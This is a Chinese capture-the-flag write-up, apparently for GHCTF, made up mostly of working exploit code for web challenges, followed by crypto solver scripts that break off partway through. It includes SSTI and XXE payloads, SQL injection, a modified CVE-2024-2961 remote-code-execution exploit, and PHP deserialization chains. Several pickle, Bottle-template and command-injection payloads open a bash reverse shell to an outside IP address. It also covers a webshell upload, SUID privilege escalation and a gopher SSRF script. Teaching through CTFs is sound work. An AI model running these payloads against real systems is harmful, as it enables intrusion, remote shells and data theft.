冲鸭汲汲爆!!
Web upload?SSTI! 源码:
import osimport refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirectfrom werkzeug.utils import secure_filenameimport osfrom werkzeug.utils import secure_filenameapp = Flask(__name__) UPLOAD_FOLDER = 'static/uploads' ALLOWED_EXTENSIONS = {'txt' , 'log' , 'text' ,'md' ,'jpg' ,'png' ,'gif' } MAX_CONTENT_LENGTH = 16 * 1024 * 1024 app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH' ] = MAX_CONTENT_LENGTH os.makedirs(UPLOAD_FOLDER, exist_ok=True ) def is_safe_path (basedir, path ): return os.path.commonpath([basedir,path]) def contains_dangerous_keywords (file_path ): dangerous_keywords = ['_' , 'os' , 'subclasses' , '__builtins__' , '__globals__' ,'flag' ,] with open (file_path, 'rb' ) as f: file_content = str (f.read()) for keyword in dangerous_keywords: if keyword in file_content: return True return False def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: return jsonify({"error" : "未上传文件" }), 400 file = request.files['file' ] if file.filename == '' : return jsonify({"error" : "请选择文件" }), 400 if file and allowed_file(file.filename): filename = secure_filename(file.filename) save_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) file.save(save_path) return jsonify({ "message" : "File uploaded successfully" , "path" : os.path.abspath(save_path) }), 200 else : return jsonify({"error" : "文件类型错误" }), 400 return ''' <!doctype html> <title>Upload File</title> <h1>Upload File</h1> <form method=post enctype=multipart/form-data> <input type=file name=file> <input type=submit value=Upload> </form> ''' @app.route('/file/<path:filename>' ) def view_file (filename ): try : safe_filename = secure_filename(filename) if not safe_filename: abort(400 , description="无效文件名" ) file_path = os.path.join(app.config['UPLOAD_FOLDER' ], safe_filename) if not is_safe_path(app.config['UPLOAD_FOLDER' ], file_path): abort(403 , description="禁止访问的路径" ) if not os.path.isfile(file_path): abort(404 , description="文件不存在" ) suffix=os.path.splitext(filename)[1 ] print (suffix) if suffix==".jpg" or suffix==".png" or suffix==".gif" : return send_from_directory("static/uploads/" ,filename,mimetype='image/jpeg' ) if contains_dangerous_keywords(file_path): os.remove(file_path) return jsonify({"error" : "Waf!!!!" }), 400 with open (file_path, 'rb' ) as f: file_data = f.read().decode('utf-8' ) tmp_str = """<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>查看文件内容</title> </head> <body> <h1>文件内容:{name}</h1> <!-- 显示文件名 --> <pre>{data}</pre> <!-- 显示文件内容 --> <footer> <p>© 2025 文件查看器</p> </footer> </body> </html> """ .format (name=safe_filename, data=file_data) return render_template_string(tmp_str) except Exception as e: app.logger.error(f"文件查看失败: {str (e)} " ) abort(500 , description="文件查看失败:{} " .format (str (e))) @app.errorhandler(404 ) def not_found (error ): return {"error" : error.description}, 404 @app.errorhandler(403 ) def forbidden (error ): return {"error" : error.description}, 403 if __name__ == '__main__' : app.run("0.0.0.0" ,debug=False )
很显然是打ssti的签到题,在文件内容注入后在/file/exp.txt查看内容 黑名单选择用fenjing跑过滤 payload:
{%set xw='so'[::-1]%}{%set ub=lipsum|escape|batch(22)|first|last%}{%set gl=ub*2+'globals'+ub*2%}{%set bu=ub*2+'builtins'+ub*2%}{%set im=ub*2+'import'+ub*2%}{{g.pop[gl][bu][im](xw).popen('cat /f''lag').read()}}
(>﹏<) 源码:
from flask import Flask,requestimport base64from lxml import etreeimport reapp = Flask(__name__) @app.route('/' ) def index (): return open (__file__).read() @app.route('/ghctf' ,methods=['POST' ] ) def parse (): xml=request.form.get('xml' ) print (xml) if xml is None : return "No System is Safe." parser = etree.XMLParser(load_dtd=True , resolve_entities=True ) root = etree.fromstring(xml, parser) name=root.find('name' ).text return name or None if __name__=="__main__" : app.run(host='0.0.0.0' ,port=8080 )
这不是0xGame2024的原题吗(baby_xxe) payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<root><name>&foo;</name></root>
记得url编码
%3C%3Fxml%20version%20%3D%20%221%2E0%22%3F%3E%0A%20%20%20%20%3C%21DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C%21ENTITY%20foo%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%5D%3E%0A%20%20%20%20%3Croot%3E%3Cname%3E%26foo%3B%3C%2Fname%3E%3C%2Froot%3E
SQL??? 开题 fuzz发现过滤了单引号和双引号,看首页又是SQL题,推测是数字型注入 后面直接给注入过程吧
id=1 order by 5# (200正常)
id=1 order by 6# (爆500错误,一共5列)
id=1 union select 1,2,3,4,5#(回显出了数字)
id=1 union select 1,2,3,4,database()#(500,没有database()说明是sqlite)
id=1 union select 1,2,3,4,sqlite_version()#(确定是sqlite)
id=1 union select 1,2,3,4,sql from sqlite_master; (CREATE TABLE "flag" ( "flag" TEXT ))
id=1 union select 1,2,3,4,flag from flag; (NSSCTF{Funny_Sq11111111ite!!!})
ez_readfile <?php show_source (__FILE__ ); if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { if ($_POST ['a' ] != $_POST ['b' ]) { if (is_string ($_POST ['a' ]) && is_string ($_POST ['b' ])) { echo file_get_contents ($_GET ['file' ]); } } } ?>
CVE-2024-2961利用phpfilter提升为远程代码执行。https://github.com/ambionics/cnext-exploits/tree/main 代码更改:
def send (self, path: str ) -> Response: """Sends given `path` to the HTTP server. Returns the response.""" data = { "a" : b"\xaf\x13\x76\x70\x82\xa0\xa6\x58\xcb\x3e\x23\x38\xc4\xc6\xdb\x8b\x60\x2c\xbb\x90\x68\xa0\x2d\xe9\x47\xaa\x78\x49\x6e\x0a\xc0\xc0\x31\xd3\xfb\xcb\x82\x25\x92\x0d\xcf\x61\x67\x64\xe8\xcd\x7d\x47\xba\x0e\x5d\x1b\x9c\x1c\x5c\xcd\x07\x2d\xf7\xa8\x2d\x1d\xbc\x5e\x2c\x06\x46\x3a\x0f\x2d\x4b\xe9\x20\x1d\x29\x66\xa4\xe1\x8b\x7d\x0c\xf5\xef\x97\xb6\xee\x48\xdd\x0e\x09\xaa\xe5\x4d\x6a\x5d\x6d\x75\x77\x72\xcf\x47\x16\xa2\x06\x72\x71\xc9\xa1\x8f\x00\xf6\x9d\xee\x54\x27\x71\xbe\xc8\xc3\x8f\x93\xe3\x52\x73\x73\x53\xa0\x5f\x69\xef\xc3\x3b\xea\xee\x70\x71\xae\x2a\x21\xc8\x44\xd7\x22\x87\x9f\xbe\x79\x6d\xc4\x61\xa4\x08\x57\x02\x82\x2a\xef\x36\x95\xda\xee\x13\xbc\xfb\x7e\xa3\x59\x45\xef\x25\x67\x3c\xe0\x27\x69\x2b\x95\x77\xb8\xcd\xdc\x4f\xde\x73\x24\xe8\xab\x66\x74\xd2\x8c\x68\x06\x80\x0c\xdd\x74\xae\x31\x05\xd1\x15\x7d\xc4\x5e\xbc\x0b\x0f\x21\x23\xa4\x96\x7c\x17\x12\xd1\x2b\xb3\x10\xb7\x37\x60\x68\xd7\xcb\x35\x5a\x54\x97\x08\x0d\x54\x78\x49\xd0\x93\xc3\xb3\xfd\x1f\x0b\x35\x11\x9d\x96\x1d\xba\x64\xe0\x86\xad\xef\x52\x98\x2d\x84\x12\x77\xbb\xab\xe8\x64\xda\xa3\x65\x55\x5d\xd5\x76\x55\x57\x46\x6c\x89\xc9\xdf\xb2\x3c\x85\x97\x1e\xf6\x38\x66\xc9\x17\x22\xe7\xea\xc9\xf5\xd2\xe0\x14\xd8\x35\x4f\x0a\x5c\x34\xd3\x73\xa5\x98\xf7\x66\x72\xaa\x43\xe3\xbd\xa2\xcd\x62\xfd\x69\x1d\x34\x30\x57\x52\xab\x41\xb1\x91\x65\xf2\x30\x7f\xcf\xc6\xa1\x8c\xfb\xdc\xc4\x8f\x61\xa5\x93\x40\x1a\x13\xd1\x09\xc5\xe0\xf7\x87\x5f\x48\xe7\xd7\xb3\x62\x04\xa7\xc4\xcb\xfd\xf4\xff\xcf\x3b\x74\x28\x1c\x96\x8e\x09\x73\x3a\x9b\xa6\x2f\xed\xb7\x99\xd5\xb9\x05\x39\x95\xab" , "b" : b"\xaf\x13\x76\x70\x82\xa0\xa6\x58\xcb\x3e\x23\x38\xc4\xc6\xdb\x8b\x60\x2c\xbb\x90\x68\xa0\x2d\xe9\x47\xaa\x78\x49\x6e\x0a\xc0\xc0\x31\xd3\xfb\xcb\x82\x25\x92\x0d\xcf\x61\x67\x64\xe8\xcd\x7d\x47\xba\x0e\x5d\x1b\x9c\x1c\x5c\xcd\x07\x2d\xf7\xa8\x2d\x1d\xbc\x5e\x2c\x06\x46\x3a\x0f\x2d\x4b\xe9\x20\x1d\x29\x66\xa4\xe1\x8b\x7d\x0c\xf5\xef\x97\xb6\xee\x48\xdd\x0e\x09\xaa\xe5\x4d\x6a\x5d\x6d\x75\x77\x72\xcf\x47\x16\xa2\x06\x72\x71\xc9\xa1\x8f\x00\xf6\x9d\xee\x54\x27\x71\xbe\xc8\xc3\x8f\x93\xe3\x52\x73\x73\x53\xa0\x5f\x69\xef\xc3\x3b\xea\xee\x70\x71\xae\x2a\x21\xc8\x44\xd7\x22\x87\x9f\xbe\x79\x6d\xc4\x61\xa4\x08\x57\x02\x82\x2a\xef\x36\x95\xda\xee\x13\xbc\xfb\x7e\xa3\x59\x45\xef\x25\x67\x3c\xe0\x27\x69\x2b\x95\x77\xb8\xcd\xdc\x4f\xde\x73\x24\xe8\xab\x66\x74\xd2\x8c\x68\x06\x80\x0c\xdd\x74\xae\x31\x05\xd1\x15\x7d\xc4\x5e\xbc\x0b\x0f\x21\x23\xa4\x96\x7c\x17\x12\xd1\x2b\xb3\x10\xb7\x37\x60\x68\xd7\xcb\x35\x5a\x54\x97\x08\x0d\x54\x78\x49\xd0\x93\xc3\xb3\xfd\x1f\x0b\x35\x11\x9d\x96\x1d\xba\x64\xe0\x86\xad\xef\x52\x98\x2d\x84\x12\x77\xbb\xab\xe8\x64\xda\xa3\x65\x55\x5d\xd5\x76\x55\x57\x46\x6c\x89\xc9\x5f\xb2\x3c\x85\x97\x1e\xf6\x38\x66\xc9\x17\x22\xe7\xea\xc9\xf5\xd2\xe0\x14\xd8\x35\x4f\x0a\x5c\x34\xd3\xf3\xa5\x98\xf7\x66\x72\xaa\x43\xe3\xbd\xa2\xcd\x62\xfd\xe9\x1d\x34\x30\x57\x52\xab\x41\xb1\x91\x65\xf2\x30\x7f\xcf\xc6\xa1\x8c\xfb\xdc\xc4\x8f\x61\xa5\x13\x40\x1a\x13\xd1\x09\xc5\xe0\xf7\x87\x5f\x48\xe7\xd7\xb3\x62\x04\xa7\xc4\xcb\xfd\xf4\xff\xcf\x3b\x74\xa8\x1b\x96\x8e\x09\x73\x3a\x9b\xa6\x2f\xed\xb7\x99\xd5\x39\x05\x39\x95\xab" , } params = {"file" : path} return self .session.post(self .url, params=params, data=data) def download (self, path: str ) -> bytes : """Returns the contents of a remote file.""" path = f"php://filter/convert.base64-encode/resource={path} " response = self .send(path) data = response.re.search(b"</code>(.*)" , flags=re.S).group(1 ) return base64.decode(data)
并把所有tf.random.string(50)改为tf.random.string(48),因为GET参数限制长度为148。
python3 cnext-exploit.py http://node2.anna.nssctf.cn:28983/ "echo '<?=phpinfo();?>' > 2.php"
flag在环境变量里
Popppppp 源码
<?php error_reporting (0 );class CherryBlossom { public $fruit1 ; public $fruit2 ; public function __construct ($a ) { $this ->fruit1 = $a ; } function __destruct ( ) { echo $this ->fruit1; } public function __toString ( ) { $newFunc = $this ->fruit2; return $newFunc (); } } class Forbidden { private $fruit3 ; public function __construct ($string ) { $this ->fruit3 = $string ; } public function __get ($name ) { $var = $this ->$name ; $var [$name ](); } } class Warlord { public $fruit4 ; public $fruit5 ; public $arg1 ; public function __call ($arg1 , $arg2 ) { $function = $this ->fruit4; return $function (); } public function __get ($arg1 ) { $this ->fruit5->ll2 ('b2' ); } } class Samurai { public $fruit6 ; public $fruit7 ; public function __toString ( ) { $long = @$this ->fruit6->add (); return $long ; } public function __set ($arg1 , $arg2 ) { if ($this ->fruit7->tt2) { echo "xxx are the best!!!" ; } } } class Mystery { public function __get ($arg1 ) { array_walk ($this , function ($day1 , $day2 ) { $day3 = new $day2 ($day1 ); foreach ($day3 as $day4 ) { echo ($day4 . '<br>' ); } }); } } class Princess { protected $fruit9 ; protected function addMe ( ) { return "The time spent with xxx is my happiest time" . $this ->fruit9; } public function __call ($func , $args ) { call_user_func ([$this , $func . "Me" ], $args ); } } class Philosopher { public $fruit10 ; public $fruit11 ="sr22kaDugamdwTPhG5zU" ; public function __invoke ( ) { if (md5 (md5 ($this ->fruit11)) == 666 ) { return $this ->fruit10->hey; } } } class UselessTwo { public $hiddenVar = "123123" ; public function __construct ($value ) { $this ->hiddenVar = $value ; } public function __toString ( ) { return $this ->hiddenVar; } } class Warrior { public $fruit12 ; private $fruit13 ; public function __set ($name , $value ) { $this ->$name = $value ; if ($this ->fruit13 == "xxx" ) { strtolower ($this ->fruit12); } } } class UselessThree { public $dummyVar ; public function __call ($name , $args ) { return $name ; } } class UselessFour { public $lalala ; public function __destruct ( ) { echo "Hehe" ; } } if (isset ($_GET ['GHCTF' ])) { unserialize ($_GET ['GHCTF' ]); } else { highlight_file (__FILE__ ); }
php原生类代码执行,危险方法在Mystery里,有很多没用的类 exp:
<?php error_reporting (0 );class CherryBlossom { public $fruit1 ; public $fruit2 ; function __destruct ( ) { echo $this ->fruit1; } public function __toString ( ) { $newFunc = $this ->fruit2; return $newFunc (); } } class Warlord { public $fruit4 ; public $fruit5 ; public $arg1 ; public function __call ($arg1 , $arg2 ) { $function = $this ->fruit4; return $function (); } public function __get ($arg1 ) { $this ->fruit5->ll2 ('b2' ); } } class Samurai { public $fruit6 ; public $fruit7 ; public function __toString ( ) { $long = @$this ->fruit6->add (); return $long ; } public function __set ($arg1 , $arg2 ) { if ($this ->fruit7->tt2) { echo "xxx are the best!!!" ; } } } class Mystery { public $SplFileObject = "php://filter/convert.base64-encode/resource=/flag44545615441084" ; public function __get ($arg1 ) { array_walk ($this , function ($day1 , $day2 ) { $day3 = new $day2 ($day1 ); foreach ($day3 as $day4 ) { echo ($day4 . '<br>' ); } }); } } class Philosopher { public $fruit10 ; public $fruit11 = "0e5985" ; public function __invoke ( ) { if (md5 (md5 ($this ->fruit11)) == 666 ) { echo "success" ; return $this ->fruit10->hey; } } } class Warrior { public $fruit12 ; private $fruit13 ; public function __set ($name , $value ) { $this ->$name = $value ; if ($this ->fruit13 == "xxx" ) { strtolower ($this ->fruit12); } } } $C = new CherryBlossom ;$P = new Philosopher ;$M = new Mystery ;$War = new Warlord ;$Warr = new Warrior ;$S = new Samurai ;$C ->fruit1 = $C ;$C ->fruit2 = $P ;$P ->fruit10 = $M ;$p = serialize ($C );echo $p ;unserialize ($p );?>
ezzzz_pickle 第一层弱密码用rockyou字典跑出来为 admin/admin123 filename=/app/app.py
from flask import Flask, request, redirect, make_response,render_templatefrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingimport pickleimport hmacimport hashlibimport base64import timeimport osapp = Flask(__name__) def generate_key_iv (): key = os.environ.get('SECRET_key' ).encode() iv = os.environ.get('SECRET_iv' ).encode() return key, iv def aes_encrypt_decrypt (data, key, iv, mode='encrypt' ): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == 'encrypt' : encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() return base64.b64encode(result).decode() elif mode == 'decrypt' : decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode() users = { "admin" : "admin123" , } def create_session (username ): session_data = { "username" : username, "expires" : time.time() + 3600 } pickled = pickle.dumps(session_data) pickled_data = base64.b64encode(pickled).decode('utf-8' ) key,iv=generate_key_iv() session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt' ) return session def dowload_file (filename ): path=os.path.join("static" ,filename) with open (path, 'rb' ) as f: data=f.read().decode('utf-8' ) return data def validate_session (cookie ): try : key, iv = generate_key_iv() pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt' ) pickled_data=base64.b64decode(pickled) session_data = pickle.loads(pickled_data) if session_data["username" ] !="admin" : return False return session_data if session_data["expires" ] > time.time() else False except : return False @app.route("/" ,methods=['GET' ,'POST' ] ) def index (): if "session" in request.cookies: session = validate_session(request.cookies["session" ]) if session: data="" filename=request.form.get("filename" ) if (filename): data=dowload_file(filename) return render_template("index.html" ,name=session['username' ],file_data=data) return redirect("/login" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = request.form.get("username" ) password = request.form.get("password" ) if users.get(username) == password: resp = make_response(redirect("/" )) resp.set_cookie("session" , create_session(username)) return resp return render_template("login.html" ,error="Invalid username or password" ) return render_template("login.html" ) @app.route("/logout" ) def logout (): resp = make_response(redirect("/login" )) resp.delete_cookie("session" ) return resp if __name__ == "__main__" : app.run(host="0.0.0.0" ,debug=False )
filename=/proc/self/environ读取SECRET_key和SECRET_ivexp.py
import pickleimport base64from cryptography.hazmat.primitives import paddingimport algorithmsclass A (object ): def __reduce__ (self ): return ( eval , ( "__import__('os').system('bash -c \"bash -i >& /dev/tcp/8.155.17.250/1234 0>&1\"')" , ), ) poc = A() result = pickle.dumps(poc) result = base64.b64encode(result) print (result)from flask import Flask, request, redirect, make_response, render_templatefrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingimport pickleimport hmacimport hashlibimport base64import timeimport osdef aes_encrypt_decrypt (data, key, iv, mode ): cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) if mode == "encrypt" : encryptor = cipher.encryptor() padder = padding.PKCS7(algorithms.AES.block_size).padder() padded_data = padder.update(data.encode()) + padder.finalize() result = encryptor.update(padded_data) + encryptor.finalize() print (base64.b64encode(result).decode()) return base64.b64encode(result).decode() elif mode == "decrypt" : decryptor = cipher.decryptor() encrypted_data_bytes = base64.b64decode(data) decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() print (unpadded_data.decode()) return unpadded_data.decode() key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv" .encode() iv = "asdwdggiouewhgpw" .encode() base64_data = "gASVawAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxPX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvOC4xNTUuMTcuMjUwLzEyMzQgMD4mMSInKZSFlFKULg==" aes_encrypt_decrypt(base64_data, key, iv, mode="encrypt" )
自行改成自己的VPS地址,不知道为什么用system没法执行,只能用eval了。
UPUPUP 考察文件头检测。像是奇安信的littledropbox那题https://blog.hatchet.top/posts/89707270 我们可以使用 WEBP 格式绕过 WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。题目限制我们上传的图片尺寸必须为 100x50,那么我们在上传.htaccess 时便可以用 WBMP 来绕过:
#define width 100 #define height 50 AddType application/x-httpd-php .jpg
然后在a.jpg里写上一句话木马就好了,秒杀
Message in a Bottle 考察是Bottle的模版渲染问题,为了区分和jinja2的区别过滤了{和}。 使用类似情况可以执行python语句
\n
%...#
payload:
message=%0D%0A%25__import__('os').system('bash -c "bash -i >& /dev/tcp/8.155.17.250/1234 0>&1"')#
Escape! waf.php
<?php function waf ($c ) { $lists =["flag" ,"'" ,"\\" ,"sleep" ,"and" ,"||" ,"&&" ,"select" ,"union" ]; foreach ($lists as $list ){ $c =str_replace ($list ,"error" ,$c ); } return $c ; }
反序列化逃逸题
<?php $a = '";s:7:"isadmin";b:1;}' ;for ($i = 0 ; $i < strlen ($a ); $i ++) { echo "flag" ; } echo $a ;echo "\n" ;echo strlen ($a );
注册个用户名为flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;},密码随意的账号 反序列化时就会解析成O:4:"User":2:{s:8:"username";s:145:"errorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerror";s:1:"1";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}|056d31a5ea46fe88ac28d42041727f050ea6eb7cd55ef6356e51e781defacc35,从而获得admin权限。 之后是绕过php的死亡exit,但是一点waf不写,这很新生赛了
?filename=php://filter/convert.base64-decode/resource=1.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
注意到base64编码前面还加了一个a,那是因为在中符合base64编码的只有phpexit7个字符,因此添加一个字符来满足为4的倍数 上马后getshell
GetShell 考SUID提权,前面写的还挺吓人的,其实就是system($_GET[‘input’]);过滤空格用tab(%09)代替 先反弹shell
action=run&input=bash%09-c%09"bash%09-i%09>%26%09/dev/tcp/8.155.17.250/1234%090>%261"
find / -user root -perm -4000 -print 2>/dev/null
发现/var/www/html/wc有s读取位
/var/www/html/wc --files0-from "/flag"
Goph3rrr 藏源码?藏源码?藏源码?藏源码? 第一步,把app.py加到扫网站的字典里。 然后写个gopher请求,在源码里发现在端口8000开启的服务,打SSRF 过滤了127.0.0.1,但其实内网环绕的ip可以随便写。这里用127.0.0.0
import urllib.parsehost = "127.0.0.0:8000" content = "cmd=env" content_length = len (content) test = """POST /Manage HTTP/1.1 Host: {} Content-Type: application/x-www-form-urlencoded Content-Length: {} {}""" .format ( host, content_length, content ) tmp = urllib.parse.quote(test) new = tmp.replace("%0A" , "%0D%0A" ) result = urllib.parse.quote(new) print ("gopher://" + host + "/_" + result)
Web狗一定要经历的题目:开局一张图和一段话
Message in a Bottle plus 也是谜语人题目,好在hint给出了是python语法错误,那就用三引号注释你要注入的语句就好了。我用的写静态文件,<>过滤了可以用tee写语句 payload:
"""
%__import__('os').system('cat /f*|tee /tmp/flag')#"""
"""
%exec('@__import__("sys").modules["__main__"].__dict__["app"].route("/flag", methods=["GET"])\ndef index():\n return open("/tmp/flag").read()')#"""
Crypto baby_factor_revenge 首先求出三素数情况的d后根据d分解n,得到两个数。就可以得到一个参数了。剩下两个用z3解。
from Crypto.Util.number import *d = 983319791937448948928909831815966155233467749135983797957993410537719382800936387914281107353766335692424029654890074457307384264696437387167917818931646208361090037151617583726270784856753326990295824691796694451427308596706773907163324576689188410501943156770608241886959042932405074514173029345911147314721915393623818058459418750161717021341964881781486599220732192574569147314948870274178618505914400519303058946065649007754746530391162684602214360864817520399909831939250530896872612423835389116308382365739456837700087971535009764751628912913521138584334716329828771071208136538108215589915295297620190642161344576127809192931232824504965519434322583351610813141539165132478322539755184703347361403277074761984135194481834469890501869197790850740673232484884785271004904890460014867888014459560750704493982023858930509540465683453067731362712507808067213106132609335347367580166670909669153896510120696647745399737473 e = 65537 n = 3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984460699747964946764645986828307675081596907634022110868102739948513844625534865764252668312850364286204872187001344218083941399088833989233474318289529103178632284291007694811574023047207470113594082533713524606268388742119103653587354956091145288566437795469230667897089543048576812362251576281067933183713438502813206542834734983616378764909202774603304124497453696792428111112644362307853143219890039129054302905340695668256116233515323529918746264727874817221051242387145263342018617858562987223211598238069486447049955021864781104312134816578626968386395835285074116149472750100154961405785440009296096563521430833 import randomimport gmpy2def divide_pq (e, d, n ): k = e * d - 1 while True : g = random.randint(2 , n - 1 ) t = k while True : if t % 2 != 0 : break t //= 2 x = pow (g, t, n) if x > 1 and gmpy2.gcd(x - 1 , n) > 1 : p = gmpy2.gcd(x - 1 , n) return (p, n // p) p, q = divide_pq(e, d, n) print (f"p = {p} " )print (f"q = {q} " )from z3 import *e = 65537 n1 = 3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984460699747964946764645986828307675081596907634022110868102739948513844625534865764252668312850364286204872187001344218083941399088833989233474318289529103178632284291007694811574023047207470113594082533713524606268388742119103653587354956091145288566437795469230667897089543048576812362251576281067933183713438502813206542834734983616378764909202774603304124497453696792428111112644362307853143219890039129054302905340695668256116233515323529918746264727874817221051242387145263342018617858562987223211598238069486447049955021864781104312134816578626968386395835285074116149472750100154961405785440009296096563521430833 phi1 = 3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984394758254181484105857103844940487787404078873566779953101987404891507588290232992132681729619718279684673827347612899406697514777723904351697638562060304399923174376216080338949397741477013367831377040866937433520175862575061413321076151761545984886547872427147498175814451096795344136954743868643889768901204954902708679102384061694877757565486240670882343628571424084461972849147495569088820011108794930593172573959423278140327579049114196086428504291102619820322231225943837444001821535593671764186251713714593498207219093585758479440828038119079608764008747539277397742897542501803218788455452391287578171880267200 pq = 21009426005084759232502759692644666270422766568724834588101478223308318987057447041530247306447091103185539171062472702301557335160742767671134173904609940105768749896994581616450301992878881928721883119386522423321223324015378278104501172477359823290965487912511985763442815234300763864548546872584570684767716406581268136218513007832843753027658989660444693029077101168497144645259104522047135596501556552096480603415253950722528034420729301954683657122537365925866396024352730390201624908120253411753527148449412666376617568880825229861575079723105510923185944036315338425866120714706124444357547089012719641816001 r = 151925555068309740027629873616844956416777676942104988548600500604734980705751500202455811525437316981852933269865712140204105818819734994452674160925578679385681053244060180042799265901275164392807664922780095166647350519792074240010137576702747299629682862274167454415537848662371715182873269954851056702833 assert pq * r == n1phi = phi1 // (r - 1 ) n2 = n1 // r p = Int("p" ) q = Int("q" ) s = Solver() s.add((p - 1 ) * (q - 1 ) == phi) s.add(p * q == pq) if s.check() == sat: print (s.model()) p = 118589237846929157177145636173700007714734296636618078863121028787719233856255349991676793277685489964300857832756581934799294586957137083742162225794737817065789645999587706703620635609191140301627049542092790079764008202073952667787393392675044942337058473033104592846222792727822005560480411401441075365471 , q = 151925555068309740027629873616844956416777676942104988548600500604734980705751500202455811525437316981852933269865712140204105818819734994452674160925578679385681053244060180042799265901275164392807664922780095166647350519792074240010137576702747299629682862274167454415537848662371715182873269954851056702833 c = 8847973599594272436100870059187158819529199340583461915617467299706215012295598155778224026186157290320191983062022702191439286020733625396165573681688842631368993650799220713225485752608650482408353598320160571916055498330875851476520668973214124194890108144336715482373743731578734960096351460142579903010557821654345995923836938260379746304222820835040419844947019844885128550552066290798665884099701340641403329066058638137944934073185448687990744852400616823426082588916251127609191094346267837812018236673478691437630461425526779014305216914035039981685211625653600564431704400207095883904994772993227506462664 n2=p*q phi2=(p-1 )*(q-1 ) d2=inverse(e,phi2) m2=pow (c,d2,n2) print (long_to_bytes(m2))
baby_lattice 经典的HNP问题
from gmpy2 import *from Crypto.Util.number import *from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport mathp = 13401991645840298882794100147034379521242237285821020793208518466205688272722127694554243298223159648613332253774886696888511245155898681828972316158766813 c = [ 3547025130757031371763547817278671805806523773597386380426228204353325314755125874825372064344551510783942287325061869515563511720377069479838665918916338 , 561524185998066303459395863084068415723518371857539287162474295289737845979144864495515229777991463363132381517905379393086271602757286846999926034367409 , 10630918988200018501478600883655233518093875635494077893436132190015060760951001030031068630865667129447250982542911493607849695255758299063471724885107320 , 5385738167688714294394456876987750423263279740302210790063861475593679005286633965917637168163655774852001750955925563171806165861440634515967640179944804 , 3686451063569312252337028014973428925521749963152262622523483348285262144703447272544972123815729823760936936761643322992469583780002855185407873398768127 , 9596580956215126253893458055745193704575088913515678341231900675542245449333964660007025564677263334281046226112471415925784249910282102204627251580303047 , 9656829597739031272294632966205884640125918053307645634673206826103547310810254891833432384622548154588598670746803614688469837172848481449498079690935715 , 9907308304392368929600091658386459655450451232070442677496713774343506026327224070703486188335961098033888098971263207077722473044862118000082007110037557 , 7839372385123283975949639433665292734490760458360682832497005213559939527031767909811695257768341209806346811519315554587887588294359891829457980910373676 , 9524560447616291402016995361580593070951296833074538783490159546001656765257005901587161833656370873513309819850104060230660386406669378214335512722509152 , 8734422874517209772760818316188000967216535009508164549745674472106165337990045713973843427581730460676070294620298664038968581128044873585552989614725336 , 5148158222052082942951739997892280954937954769195857112271289335776175568625514426629773392655353554820374445881301175856523121361252868192790918069469104 , 3405639365216597742633558534342314393231966921971024333387009357007031255109911181571542920889177048552084631482291912851876735480121959418518626599223928 , 6965895908963098896413697893751255263053889382630643791713636829201586125658579731479485123904224727756791164618191156426250811133029277086293720268527300 , 515472047175628755463279789359658211455570096067652817360508027869002916852457796014115363850477155232728049656195126940493402028508630979737222916876246 , 8377848726362282033165443045774756072489017398005262818165334796393061408947900148462399707261050565348807577258621241416711089587307194346694505937252864 , 1178755053483981880338850194698011124968424379914871101461970724324613752209283539401502897388962321646518511682063263530792638817282211333222820982688221 , 